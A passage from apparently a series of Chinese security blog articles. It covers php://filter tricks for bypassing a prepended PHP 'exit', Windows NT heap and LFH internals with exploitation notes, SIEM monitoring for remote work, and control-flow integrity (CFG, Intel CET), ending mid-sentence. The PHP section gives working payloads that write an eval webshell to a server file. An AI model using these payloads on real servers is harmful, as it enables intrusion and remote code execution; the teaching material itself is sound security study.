因此,对于死亡之exit中的代码,字符<、?、;、>、空格等字符不符合base64解码范围。最终解码符合要求的只有phpexit这7个字符,而base64在解码的时候,是4个字节一组,因此还少一个,所以我们将这一个手动添加上去。 传payload如下: ?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ content中第一个字符a就是我们添加的 这个时候我们查看1.php的内容如下: 可以看到一句话木马已经成功写入了。 rot13编码绕过: 除了使用base64编码绕过,我们还可以使用rot13编码绕过。相比base64编码,rot13的绕过死亡之exit更加方便,因为不用考虑前面添加的内容是否可以用base64解码,也不需要计算可base64解码的字符数量。 同样的还是上面的示例代码: <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 传payload: ?filename=php://filter/string.rot13/resource=1.phpPOSTDATA: content=<?cuc riny($_CBFG[1]);?> 打开1.php文件: 可以看到,一句话木马也成功写入了。 虽然rot13更加的方便,但是还是有缺点,就是当服务器开启了短标签解析,一句话木马即使写入了,也不会被PHP解析。 多种过滤器绕过: 再仔细观察死亡之exit的代码: <?php exit; ?> 可以看到死亡之exit的代码其实本质上是XML标签,因此我们可以使用strip_tags函数除去该XML标签 并且,filter协议允许我们使用多种过滤器,所以我们还是针对上面的实例代码: <?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content); 传payload如下: ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 查看1.php 这时候可以看到一句话木马干干净净地在1.php文件中,不掺杂任何杂质 参考资料 https://www.leavesongs.com/PENETRATION/php-filter-magic.html https://xz.aliyun.com/t/8163 相关实验:https://www.yijinglab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee<>
windows 堆分析
windows和linux堆管理机制虽然呈现给用户的效果是一样的,大体思路也是差不太多,但是底层实现逻辑大相径庭,很多地方和glibc的ptmalloc差别很大。网上资料零零散散,而且都是通过逆向手段分析,所以每个版本资料还多少有些差异,在这里对windows堆管理机制做个归纳,学习一下。 接口 在glibc中,通常我们调用的分配函数就是malloc、calloc、realloc,但是这三个函数本质都差不多,本体还是malloc函数的逻辑。 在windows中,堆的分配函数就比较多了这里我们逐一介绍一下。 函数原型参数说明HeapAlloc(HANDLE hHeap, DWORD dwFlags, size_t dwSize)hHeap为进程堆开始位置,flag就是标志,size就是大小。内存是指定位置开始分配,且分配的内存不可移动。对应的释放函数是HeapFreeGlobalAlloc(UINT uFlags, size_t dwBytes)uflag标志信息:GMEM_FIXED分配固定内存,返回一个指针;GMEM_MOVABLE分配活动内存,返回内存对象句柄,这个句柄可以利用GlobalLock转化为指针。从全局堆中分配内存,相应的释放函数是GlobalFreeLocalAlloc(UIN 从接口信息可以看出来,windows和linux堆的一个很大的不同点就是windows的堆有很多,linux的话都在一个区域里。 另外,globalalloc和localalloc在现代的win32以后的版本中没有区别,这两个函数刚开始是在16位windows中使用有区别的。在win32中每个程序都有一个自己的缺省堆,所以全局堆和局部堆在win32中都指向这个缺省堆,这俩没区别,甚至释放函数都可以混着用。等效于heapAlloc(GetProcessHeap(),flag,size) malloc函数虽然不像其他的函数那样指明了堆区,但是实际上windows中malloc函数在初始化的时候自己HeapCreate了一段堆内存区域供他使用。每个模块的malloc都有自己的堆区域,所以不能一个dllfree掉另一个dll的堆指针。 概览 windows堆管理机制较之于linux比较复杂,管理机制也分好几套。 UWP即Windows通用应用平台,Windows 10中的Universal Windows Platform简称。UWP不同于传统pc上的exe应用,可以在所有Windows10设备上运行。UWP应用程序进程至少包括三个堆:(1) 默认堆(2) 用于向进程的会话Csrss.exe实例传递大参数的共享堆。这是由CsrClientConnectToServer函数创建的,该函数在Ntdll.dll完成的进程初始化早期执行。(3) 由Microsoft C运行库创建的堆。该堆是由C/C++内存分配函数(如Maloc、Free、等)内部使用的堆。 在Windows10和服务器2016之前,只有一种堆类型,我们称之为NT堆。Windows 10引入了一种称为段堆(segment heap)的新堆类型。这两种堆类型包括公共元素,但结构和实现方式不同。默认情况下,所有UWP应用程序和某些系统进程都使用段堆,而所有其他进程都使用NT堆。这可以在注册表中更改。 大部分场合默认使用的堆都是NT heap,segment heap通常会在winapp或者某些特殊的进程(核心进程)中会使用到。 而在NT heap中又分为前端管理和后端管理两套不同的堆分配管理策略。 而windows程序的堆又分为两种: 第一种叫做processheap,它包括两个部分,一个是default heap,其地址信息回存放于_PEB中,在调用malloc等函数的时候会用到。第二个是crtheap,但是其本质一样是default,封装了一些别的信息,存放于crt_heap中。 第二种叫做private heap,也就是我们通过HeapCreate创建的堆。 NT堆 大体流程 大体流程就是windows app调用msvcrt140.dll函数中的形如malloc、free等函数后,会调用kernel32.dll中的堆管理api,接着调用ntdll中的管理机制。 这里的管理机制中,LFH就是前端管理的核心,那么整个流程具体来说就是如下的逻辑: (1) 小于或等于16368字节,使用LFH分配器。这与NT堆的逻辑类似。如果LFH还没有启动,那么将使用可变大小(VS)分配器。(2) 对于小于或等于128 KB的大小(不由LFH提供服务),使用VS分配器。VS和LFH分配器都使用后端根据需要创建所需的堆子段。(3) 大于128 KB且小于或等于508 KB的分配由堆后端直接提供服务。(4) 大于508kb的分配直接调用内存管理器(VirtualAlloc),因为这些分配非常大,因此使用默认的64kb分配粒度(并舍入到最接近的页面大小)就足够了。 如果LFH没有启用,那么就直接调用后端堆管理机制。 启用LFH后,第一次申请或者LFH内部空间不够时会从后端堆中申请一段大空间来使用。 如果LFH搞定了申请,那么直接由LFH返回,不调用后端。 可以看出前端分配器就有点类似于linux中的fastbin。 这里要说明一下,在之前的windows版本中,前端分配器并不是LFH,而是look aside表,也就是0day一书中提到的快表,但是windows10中已经不适用lookaside了。 数据结构 由前面的内容可以看出来windows有很多的堆,从linux的管理机制中,我们知道每个堆都由一个重要的数据结构malloc_state来管理,这些个mallocstate就称之为arena,主线程叫main_arena,别的叫thread_arena,这些个数据结构由指针链接形成链表。 那么在windows的堆管理机制中,同样也需要类似于arena这样的结构体。但是不同于linux,每个这样的堆管理结构体是存放于每个堆段的头部,并不是在某些dll的数据段中。 这个数据结构就称之为_HEAP,长这个样子: +0x000 Segment : _HEAP_SEGMENT +0x000 Entry : _HEAP_ENTRY +0x008 SegmentSignature : Uint4B //用来判断NT还是Segment +0x00c SegmentFlags : Uint4B +0x010 SegmentListEntry : _LIST_ENTRY +0x018 Heap : Ptr32 _HEAP +0x01c BaseAddress : Ptr32 Void +0x020 NumberOfPages : Uint4B +0x024 FirstEntry : Ptr32 _HEAP_ENT 其中比较重要的字段意义都写在了注释中。 在linux中,堆是由一个个chunk构成的,在windows中也一样,也是由一个个堆块构成。 这样一个堆块的结构,称之为_HEAP_ENTRY。这个结构比较奇怪,似乎有好几种实现方式?以为同样偏移有不同的意思。 ntdll!_HEAP_ENTRY +0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY +0x000 PreviousBlockPrivateData : Ptr64 Void +0x008 Size : Uint2B +0x00a Flags : UChar +0x00b SmallTagIndex : UChar +0x008 SubSegmentCode : Uint4B +0x00c PreviousSize : Uint2B +0x00e SegmentOffset : UChar +0x00e LFHFlags : UChar +0x00f Un 在老外逆出来的c版本中是这样的: //0x10 bytes (sizeof)struct _HEAP_ENTRY{ union { struct _HEAP_UNPACKED_ENTRY UnpackedEntry; //0x0 struct { VOID* PreviousBlockPrivateData; //0x0 union { struct { USHORT Size; //0x8 UCHAR Flags; //0xa UCHAR SmallTagIndex; //0xb }; struct { ULONG SubSegmentCode; //0x8 USHORT PreviousSize; //0xc union 这里的话主要是因为一个chunk(也就是_HEAP_ENTRY,这么叫方便些)有不同的状态,所以就union一下。 那么具体来说,一个chunk有三种状态:使用(allocated)、释放(free)、虚拟(virtual alloc)(mmap出来的chunk)。 使用状态(inuse): 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小,这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte(size和flag)做xor后的值,验证作用0xc: PreviousSIze2bytes表示前一个chunk的size,同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused 释放状态(unused): 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小,这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte(size和flag)做xor后的值,验证作用0xc: PreviousSIze2bytes表示前一个chunk的size,同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused virtualAlloc状态: 偏移&名称大小意义0x0: flink8bytes双向链表指针0x8: blink8bytes双向链表指针0x10: size2bytes这里的size是unusedsize,且没有进行移位0x12: flag1byte 0x13: smallTagIndex1byte 0x14: PreviousSIze2bytes 0x16: SegmentOffset1byte 0x17:UnusedBytes1byte恒为4 这里的virtualalloc的chunk状态可能有些勘误,因为网上关于这里的资料比较少。 这里要说明一下,关于chunk头部的验证: 在之前的_HEAP结构体中有一个encoding字段,这个cookie就是为了加密头部来用的,具体来说就是xor一下,所以在对chunk进行操作的时候会验证其有效性。同时SmallTagIndex也会对flag和size做一个验证。 free_list 这个是在_HEAP中的一个指针,指向的是free的chunk的链表,双向有序链表。在一个chunk被释放后,会插入到这个list中(类似于unsortedbin) BlocksIndex 这个指针的结构是_HEAP_LIST_LOOKUP。 这一结构体长这个样子: //0x38 bytes (sizeof)struct _HEAP_LIST_LOOKUP{ struct _HEAP_LIST_LOOKUP* ExtendedLookup; //0x0 指向下一个lookup,通常chunk会更大 ULONG ArraySize; //0x8 管理的最大chunk大小(右移4位后) ULONG ExtraItem; //0xc ULONG ItemCount; //0x10 当前管理的chunk数 ULONG OutOfRangeItems; //0x14 超出该结构体管理的chunk数量 ULONG BaseIndex; //0x18 该结构管理的chu 这两个链表之间的关系如下图(摘自angelboy的slide) 可以看到,所有的chunk都是存储在freelist中,而blockindex用来定位这些在freelist中的chunk的位置,快速找到合适大小的chunk。 NT后端管理机制 管理机制无非就是申请和释放的逻辑。 申请 申请时,分为三种情况: 1.Size<=0x40002.0x4000<size<=0xff0003.Size>0xff000 第一种情况,当size<=0x4000时:1.查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21,并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。 2.接下来首先查看对应的ListHint中是否有chunk,有则优先分配(先看快表)如果有大小合适的chunk在ListHint上则移除ListHint,并且查看chunk的Flink⼤⼩是否size与此chunk相同(注意FreeLists按大小排序):为空则清空,否则将LintHint填上Flink。最后unlink该chunk,把此chunk从linkedlist中移除返回给user,并将header xor回去(返回时header被encode) 3: 若没有大小合适的chunk: 则从比较⼤的ListHint中找,有找到比较大的chunk后,同样查看下⼀块chunk的size是不是一样大小,有则填上,并且unlink该chunk, 从freelist移除。最后将chunk做切割,剩下的⼤⼩重新加入Freelist,如果可以放进ListHint就会放进去,将切割好的chunk返回给使用者(chunk header同样encode) 4.如果FreeList中没有可以操作的chunk,则尝试ExtendHeap来加大heap空间,再从extend出来的heap取chunk,接着像上面一样分割返回(chunk header encode),剩下的放回ListHint 第二种情况,当0x4000<size<=0xff000 基本和第一种情况差不多,但是没有LFH操作。 第三种情况,当size大于0xff000 直接使⽤ZwAllocateVirtualMemory,类似直接mmap一大块空间,并且会插入到_HEAP->VirtualAllocdBlocks这个linked list中(这个linked list用来串接该HeapVirtualAllocate出来的区段) 释放 分两种情况,大于小于0xff000分别讨论 size<=0xff000 1:首先检查alignment,利⽤unusedbyte判断该chunk状态如果是非LFH模式下,会对对应到的FrontEndHeapUsageData减12:接下来会判断前后的chunk是否为freed,是的话就合并此时会把可以合并的chunk unlink,并从ListHint移除(移除⽅式与前⾯相同,查看下一个chunk是不是相同⼤⼩,是则补上ListHint)3:合并之后,update size&prevsize,然后查看是不是最前跟最后,是就插入,否则就从ListHint中插入,并且update ListHint,插入 时也会对linked list进行检查(此检查不会abort,其 具体的流程可以参考angelboy的slide。 size > 0xff000 检查该chunk的linkedlist并从_HEAP->VirtualAllocdBlocks移除接着使⽤RtlpSecMemFreeVirtualMemory将chunk整个munmap掉 NT前端管理机制 也就是之前一直提到的LFH(low fragment heap),在win10主要使用,只有在非调试状态下才会启用,根据之前的内容也不难推测,是用来管理大小小于0x4000的chunk的。 要想触发LFH,需要分配18个相同大小的堆块,他们可以不连续。 如何查看LFH是否开启呢?在windbg中,可以通过dt _HEAP [Heap Address]查看heap结构体,在偏移0x0d6处FrontEndHeapType字段可以揭示是否开启了LFH,如果为0则说明后端堆在管理,为1就是lookaside策略,2就说明是LFH。 另一种方式可以查看一个chunk是否属于LFH管理,通过!heap -x [Chunk Address]来查看 数据结构 相关的重要的数据结构为_LFH_HEAP,在 _HEAP结构中,frontEndHeap指针指向这一结构。 这个结构的话不同版本windows还不一样,贴个图: 这里看win10的就可以 0:001> dt _LFH_HEAPntdll!_LFH_HEAP +0x000 Lock : _RTL_SRWLOCK +0x008 SubSegmentZones : _LIST_ENTRY +0x018 Heap : Ptr64 Void //指向对应的_HEAP +0x020 NextSegmentInfoArrayAddress : Ptr64 Void +0x028 FirstUncommittedAddress : Ptr64 Void +0x030 ReservedAddressLimit : Ptr64 Void +0x038 SegmentCreate : Uint4B 可以看到这结构体类似于_HEAP,包含了很多指针信息,这其中又有两个结构体需要分析一下。 _HEAP_BUCKET ntdll!_HEAP_BUCKET +0x000 BlockUnits : Uint2B //分配block大小>>4 +0x002 SizeIndex : UChar //使用大小>>4 +0x003 UseAffinity : Pos 0, 1 Bit +0x003 DebugFlags : Pos 1, 2 Bits +0x003 Flags : UChar _HEAP_LOCAL_SEGMENT_INFO ntdll!_HEAP_LOCAL_SEGMENT_INFO +0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA//对应 _LFH_HEAP->LocalData ,便于从 SegmentInfo 找回 _LFH_HEAP +0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT//对应已分配的Subsegment,用于管理userblock记录剩余多少chunk、最大分配书等等 +0x010 CachedItems : [16] Ptr64 _HEAP_SUBSEGMENT//_HEAP_SUBSEGMENT array 其中,cachedItems比较重要,其结构体为_HEAP_SUBSEGMENT: ntdll!_HEAP_SUBSEGMENT +0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO//指向对应的_HEAP_LOCAL_SEGMENT_INFO +0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER //记录要分配出去的chunk所在位置,开头存储一些metadata来管理这些chunk +0x010 DelayFreeList : _SLIST_HEADER +0x020 AggregateExchg : _INTERLOCK_SEQ //用来管理对应的userblock中还有多少free _INTERLOCK_SEQ ntdll!_INTERLOCK_SEQ +0x000 Depth : Uint2B //该userblock剩余freechunk的数量 +0x002 Hint : Pos 0, 15 Bits +0x002 Lock : Pos 15, 1 Bit +0x002 Hint16 : Uint2B +0x000 Exchg : Int4B _HEAP_USERDATA_HEADER ntdll!_HEAP_USERDATA_HEADER +0x000 SFreeListEntry : _SINGLE_LIST_ENTRY +0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT //指回对应的_HEAP_SUBSEGMENT +0x008 Reserved : Ptr64 Void +0x010 SizeIndexAndPadding : Uint4B +0x010 SizeIndex : UChar +0x011 GuardPagePresent : UChar +0x012 PaddingBytes : Uint2B +0x014 Sign 其中的EncodingOffset字段就是个验证,在USERBLOCK初始化时会生成这个数值作为验证用,其数值具体来说是以下四个值的xor: (sizeof(userblock header)) | (blockunit*0x10 << 16)LFHkeyUserblock addrLFH_HEAP addr 在_HEAP_USERDATA_HEADER之后就是一系列的chunks。 在LFH中,chunk虽然还是chunk,但是头部信息和之前学的chunk不一样 偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: SubSegmentCode4bytesencode过的metadata,用来推回userblock的位置0xc: PreviousSIze2bytes该chunk在userblock中的index0xe: SegmentOffset1byte 0xf: UnusedByte1byte恒为0x80,用来判断是否为LFH的freechunk0x10: UserData 其中,SubSegmentCode的值为这四个值的xor: _HEAP addressLFHkeyChunk address >> 4((chunk address) - (UserBlock address)) << 12 搞了这么多结构体,头疼眼晕,好在angelboy大佬给出了LFHheap的overview: 管理机制 在之前的后端管理逻辑中已经对LFH这一概念有所提及。 申请 LFH涉及到初始化工作,具体来说就是查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21,并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。也就是在FrontEndHeapUsageData[x] & 0x1F > 0x10的时候,置位_HEAP->CompatibilityFlag |= 0x20000000,下一次Allocate就会对LFH进行初始化: 首先会ExtendFrontENdUsageData,也就是将这个数值增大,然后增加更大的_HEAP->BlocksIndex,因为这里_HEAP->BlocksIndex可以理解为一个_HEAP_LIST_LOOKUP结构的单向链表(参考上面Back-End的解释),且默认初始情况下只存在一个管理比较小的(0x0 ~ 0x80)的chunk的_HEAP_LIST_LOOKUP,所以这里会扩展到(0x80 ~ 0x400),即在链表尾追加一个管理更大chunk的_HEAP_LIST_LOOKUP结构体结点。 在 FrontEndHeapUsageData 写上对应的index,此时 enable LFH 范围变为 (idx: 0-0x400)FrontEndHeapUsageData中分为两部分:对应用于判断LFH是否需要初始化的map以及已经enable LFH的chunk size (例如enable malloc 0x50大小的chunk,则写入0x50>>4=5) 原BlocksIndex进行扩展,即新建一个BlocksIndex,写入原BlocksIndex->ExtendedLookup,进行扩展 建立并初始化_HEAP->FrontEndHeap(通过mmap),即初始化_LFH_HEAP的一些metadata。 建立并初始化_LFH_HEAP->SegmentInfoArrays[x],在SegmentInfoArrays[BucketIndex]处填上对应的_HEAP_LOCAL_SEGMENT_INFO结构体指针。 在初始化后,从LFH分配内存的逻辑为: 1.先看ActiveSubSegment中是否有可以分配的chunk,这个是否有的判断标准就是ActiveSubSegment->AggregateExchg->depth 2.如果没有就从CachedItem中找,找到的话会把ActiveSubSegment换成CachedItem中的SubSegment 到了这一步时,LFH分配器就找到了UserBlock,UserBlock中有很多的chunk可以供用户使用,LFH选取chunk的标准如下: 1.首先从RtlpLowFragHeapRandomData中下标为x处取一个值,这个名字很长的数组是一个长度为256byte的元素大小范围为0-0x7f的随机数数组,每次取,x都会自增1,如果x超过了256,那么x = rand()%256. 2.最终获取的index为RtlLowFragHeapRandomData[x]*maxidx >> 7,检查bitmap是否为0,如果冲突了的话就往后找最近的 3.检查(unused byte & 0x3f)!=0(表示chunk是free的) 4.最后设置index(chunk头部中的previoussize)和unusedbyte返回给用户。 释放 1.将unused位改成0x80 2.根据头部中的字段找到userblock,然后找会Subsegment,根据index设置bitmap 3.更新ActiveSubSegment->AggregateExchg 4.如果释放的chunk不属于当前的ActiveSubSegment就看一下能不能放到cachedItems中,可以就放进去。 利用方式 地址问题 先不考虑如何利用的事,首先关注最基本的问题,要泄漏什么地址?地址在哪? 假设我们有了任意内存地址读写,那么我们就需要泄漏一些关键的函数地址,比如说system,以及攻击的目标点,比如栈地址。 不同于linux,windows有一堆dll函数库。 这里,根据angelboy的slide,需要泄漏的地址为kernelbase以及stackaddress,这两个地址在kernel32.dll。 那么如何泄漏ntdll呢?_HEAP_LOCK相关的信息会指向ntdll,具体来说,就是_HEAP->LockVariable.Lock以及CriticalSection->DebugInfo 在ntdll!PebLdr中,_PEB_LDR_DATA可以找到所有dll的位置。 同样可以从IAT表中找到kernel32,不过需要先泄漏binary的地址。 在KERNELBASE!BasepFilterInfo中,会有大概率包含stack的指针,这个主要是因为内存没有初始化。 如果这个上面没有想要的地址,可以从PEB向后算一个page,通常会是TEB上,这上面也会有stack的地址信息。 攻击的话,angelboy提出的方式就是泄漏地址,然后攻击栈写rop或者shellcode。 后端利用方式 unlink 和linux中的unlink很像(都是双向链表的节点移除),但是绕过条件和linux不同,因为头部的信息不同,需要对一些encode的字段构造一下。还有就是flink和blink指向的是userdata部分。 具体构造就是p -> fd = &p-8, p->bk = &p. 前端利用方式 angelboy同样是只是草草的介绍了下如果有了uaf的话,如何绕过随机在LFHuserblock中分配到指定chunk的方式,具体来说就是填满其他的,下一次肯定就会落到目标点。那么有了uaf之后呢,劫持哪些指针劫持到哪里并没有说明。所以这里的话还需要后续调试的时候整理。 具体怎么攻击才叫合理?哪些攻击面呢? 由于Angelboy给的利用方式太少,而且比较笼统局限,所以我又参考了别的资料,想找到一些类似于linux堆利用手法的攻击方式。 然而现实打了我一巴掌,根据冠城大佬的ppt,在windows中,想通过攻击堆的头部或者其他字段来进行getshell几乎不可能,因为windows堆的防御机制十分严格。堆中比较合理的攻击手法似乎就只有unlink或者其他形式的修改函数指针的方式。
远程工作环境中的可视性与威胁检测
在新冠疫情开始之初,当世界各地的政府下达居家令时,许多员工已经向他们的雇主证明,他们居家办公也可以保持与之前一样的高效率,甚至在某些情况下还可以提高工作效率。  由于这种被迫进行的尝试,许多专家和管理人员现在预测:这种灵活的居家办公策略将会继续存在。Gartner 的研究表明,有 41% 的员工将会继续居家办公,而在新冠疫情发生之前这一比例只有 30%。此外,已有 13% 的首席财务官 (CFO) 开始削减用于办公空间的房地产支出。随着远程工作模式的持续,安全专家需要采用相应的方法来维持已在消失多年的网络外围中几乎不存在的可视性、监控和威胁检测。  尽管存在新的盲点,但在以下四个关键领域中,集中式安全信息和事件管理 (SIEM) 解决方案可以帮助安全团队重新获得并提升可视性与监控。  电子邮件 有针对性的攻击者擅长编写极具吸引力的网络钓鱼电子邮件,而且他们的技巧会越来越纯熟。电子邮件是需要予以监控的最重要的威胁媒介之一,因为在进入组织网络的恶意软件中,有 94% 的恶意软件都是通过网络钓鱼来交付的。若要尽早了解这些威胁,更重要的是,若要准确跟踪网络钓鱼电子邮件打开后发生的情况,安全团队需要获得对整个组织中所发生情况的集中视图。 端点 在大规模转向远程工作模式之前,公司通常可以分为两种类型:  一种是那些几乎完全采用办公室工作模式,其用户使用台式机进行工作的公司, 而另一种是那些支持远程工作模式,其笔记本电脑上的用户可以通过 VPN 连接到网络的公司。 当员工几乎完全转向远程工作模式时,他们都会面临诸多挑战。之前采用办公室工作模式的组织需要迅速弄清楚如何为远程员工启用核心服务和应用,而且在某些情况下,还需要首次部署虚拟专用网络 (VPN)。支持远程工作模式的公司会发现 VPN 使用量激增,网络不堪重负且速度大大降低,从根本上迫使用户不得不脱离 VPN 来维持生产效率。从安全角度来看,两种情况都在端点和用户活动方面引入了大量盲点。  若要重新获得可视性,安全团队可以结合采用端点操作系统 (OS)、VPN 和端点检测与响应 (EDR) 事件来进行威胁检测。借助 Windows、macOS 和 Linux 的本地日志记录,安全团队可以洞悉端点级别发生的情况。通过使用 Sysmon 扩展 Windows 事件日志记录,团队可以获得更深入的威胁相关洞察力,例如流程活动和域名系统 (DNS) 请求。  对于使用 EDR 解决方案(例如 Carbon Black 或 CrowdStrike)的组织,可以将端点安全事件发送到集中式 SIEM 解决方案,并与其他企业数据相关联,以实现端到端威胁可视性。一旦 EDR 与 SIEM 进行了紧密集成,便可以直接从 SIEM 界面启动响应操作。最后,当用户登录 VPN 或通过基于风险的身份验证访问应用时,这些解决方案可以洞悉有关端点位置、MAC 地址、用户代理以及其他有价值的信息,进而提供这是否是真实用户的洞察力。  一旦通过单个位置收集了这些宝贵的数据,安全团队便可运用一系列机器学习和基于相关性的分析来检测已知和未知威胁。对于安全运营团队而言,寻找可提供预构建安全用例和分析的 SIEM 供应商尤为有用,这样他们就不必花费时间和金钱从头开始研究和开发这些产品。  应用 应用活动的监控应是团队的主要重点,因为与监控端点不同,组织即使在网络之外也仍然可以控制应用活动。应用监控还有助于暴露网络中已存在的攻击者。应用监控可以在多个级别上执行:  通过身份即服务 (IDaaS) 解决方案(例如 Cloud Identity Connect 或 Okta 登录时。 直接通过 SAP、SalesForce.com 或 Office 365 等应用登录、注销时。 通过 Zscaler 等云访问安全代理 (CASB) 解决方案来监控谁正在访问或试图访问哪些应用。 直接在应用堆栈内,包括 OS 容器编排平台(如 Kubernetes)、容器本身和这些环境中的 API 调用。  云 由于许多物理数据中心暂时关闭,因此组织迫切需要将 IT 系统的现场物理维护需求降至最低。许多组织已迅速加速了云基础架构的采用,为其工作负载和应用提供支持,以维持业务连续性。由于许多此类迁移已经进行了规划(通常只是按照随后的时间表进行),因此大多数安全团队都应期望这些投资能够继续保持。  为了更早地了解这些环境中的风险和威胁,安全团队可以监控一系列事件,包括用户活动、应用活动以及资源和配置更改。幸运的是,主要的公有云供应商(例如 AWS、IBM、Azure 和 Google Cloud))均提供了丰富的日志、事件和网络流数据集,这些可引入到集中式 SIEM 解决方案之中,进而实现内部和多云环境中的可视性和检测。   总结 由于正在快速转移到远程工作模式,许多 IT 组织现在已经部署了支持远程员工的技术。在过去的数月中,员工已经证明他们居家办公也可以保持较高的生产效率。随着我们迈向新常态,即将发生的一项明显变化就是更加灵活、对远程友好的工作策略。在此情况下,安全运营团队需要一种可持续的长期战略,以在具有新盲点且几乎没有任何剩余外围的网络上保持可视性和威胁检测。  通过加倍增加集中式安全分析,特别是网络钓鱼、端点、应用和云安全用例,安全分析人员可以获得新的洞察力,弥补丢失的可视性并最终帮助增强组织的安全态势。在如今安全团队由于远程工作而精疲力尽的时代,组织可以考虑部署具备以下优势的 SIEM 解决方案:能够在任何环境(包括 SaaS 或公有云)中运行、能够提供预构建用例,让检测变得更轻松并提高总体价值,同时能够提供与 SOAR 解决方案(如 Resilient)的紧密集成,进而加快端到端威胁检测、调查和响应周期。
cfi那些事(1)
控制流完整性 针对于漏洞利用,最终的效果和目的就是劫持控制流,控制目标程序做一些他本来做不了的事情。可以达到这一目的的方式有很多,比如ROP、劫持函数指针等等。而这些都来自于软件中一些漏洞,如缓冲区溢出、释放后利用等等。最初防御的方式就是头疼医头,脚疼医脚,哪里出现了漏洞比如缓冲区溢出,我们就检查一下内存边界,或者在边界处设置一个cookie(canary)。 或许是漏洞多的补不过来,之前的防御方式不能很好的完成防御计算机被破坏的工作,原本的防御方式经过几轮较量后衍生出了很多绕过方式,这些攻击手法就是现代漏洞利用技术的核心,比如ROP。如果攻击者通过层层阻挠,到达了执行ROP这一步,那么后续的路基本就畅通无阻了,因为之前并没有防御ROP的有效方式。 CFI即Control Flow Integrity控制流完整性就是指程序运行时控制流的合法性。这一步概念被提出来主要就是为了针对ROP的防御。可以将程序运行看作是一辆车在路上跑,开发者遵循的安全开发准则,比如说严格控制好边界等可以看作是司机在路上遵守交通规则;而之前的防御如canary等内存边界检查机制可以理解为马路边上的防护栅栏;而CFI验证可以看作是车内的安全气囊、安全带等装置。 那么这个CFI验证具体干什么呢不管一个程序有多复杂,他所能覆盖到的代码分枝路线以及行为虽然很多,但是不是无限的,他的活动范围总会有一个边界。如果一个攻击者通过程序中的漏洞控制了这个程序,那么攻击者肯定不会满足于程序本身给提供的代码分枝进行执行,总会超过这一边界,去执行一些程序中本来没有的逻辑。 CFI验证顾名思义,就是确保程序在预期的范围内执行。针对于这一思路,目前已经有很多的实现方式。 windows cfg cfg全称就是Control Flow Guard,即控制流保护。其主要思路就是在间接跳转前后插入一段代码,用于验证其有效性。 为什么是间接跳转呢?因为直接跳转写死在代码段,攻击者利用不了。 如何验证其有效性呢?在编译时会记录各个间接跳转函数的地址,生成一个白名单,在函数发生间接跳转时就会对照这一白名单,如果在白名单里面,皆大欢喜,不在的话那就抛出异常。 那么具体怎么做的呢?这里偷个懒,引用下其他前辈的文章: https://xz.aliyun.com/t/2587https://www.anquanke.com/post/id/85493https://blog.csdn.net/cssxn/article/details/101285088https://blog.csdn.net/stevegao_tencent/article/details/43486485?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearc 然而CFG也有缺点,也就是绕过方法,比如他没有防御返回地址、SEH指针等,可以攻击这些没有被CFG防御的区域.同样,由于CFG依赖白名单,而这一白名单是在编译时生成的,他没有扩展性,所以一些临时生成代码比如JIT生成的代码就没有CFG保护。 发展 对于CFI验证,学术界提出了很多相应的解决办法。对于这种底层的验证方案,不光要考虑可行性和安全性,同时效率也是不可忽视的一个重要因素。各种专家学者提出了很多的方案,这篇文章中做了一些简要的介绍: https://www.inforsec.org/wp/?p=495控制流劫持的末日——CET 或许是厌倦了软件防护花里胡哨的算法以及效率的折衷,intel提出了一个似乎更佳完美的解决方案:CET。 这个CET全称是Control-flow Enforcement Technology,并不是大学英语等级考试的CET。 研究者们似乎将分支跳转分成了两类,第一类是向前跳转,即call、jmp类型指令,第二类是后向跳转,也就是ret型指令。 那么众所周知,劫持控制流就是控制RIP指针,而RIP指针只能通过上述的两类指令进行修改,所以控制流劫持的攻击手段也都是针对于这些指令做文章。蛇打七寸,intel的CET防护措施似乎正好将剑戳进了控制流劫持的心窝。 奇怪的指令——endbr64 起初并没有刻意的去参阅有关资料,而是在新版本的编译器中发现了一个奇怪的指令:endbr64,于是乎google一下,属实吓得不轻。 intel在硬件层面实现了对控制流完整性的相应检查防御措施,而这个奇怪的指令endbr64就是其中之一。 这个endbr64指令在旧版本的cpu中会被当作NOP指令,而在新的cpu中其实也是个空操作指令,但是会被当作一个标志,用于监控间接跳转,他会出现在函数的开头位置。 具体来说,就是当发生间接跳转时,cpu会从IDLE状态转换为WAITING状态,在WAITING状态的cpu运行的下一条指令必须为endbr64,如果不是的话,那么直接抛出一个异常,是的话CPU就转为IDLE状态继续执行。 The ENDBRANCH (see Section 73 for details) is a new instruction that is used to mark valid jump target addresses of indirect calls and jumps in the program. This instruction opcode is selected to be one that is a NOP on 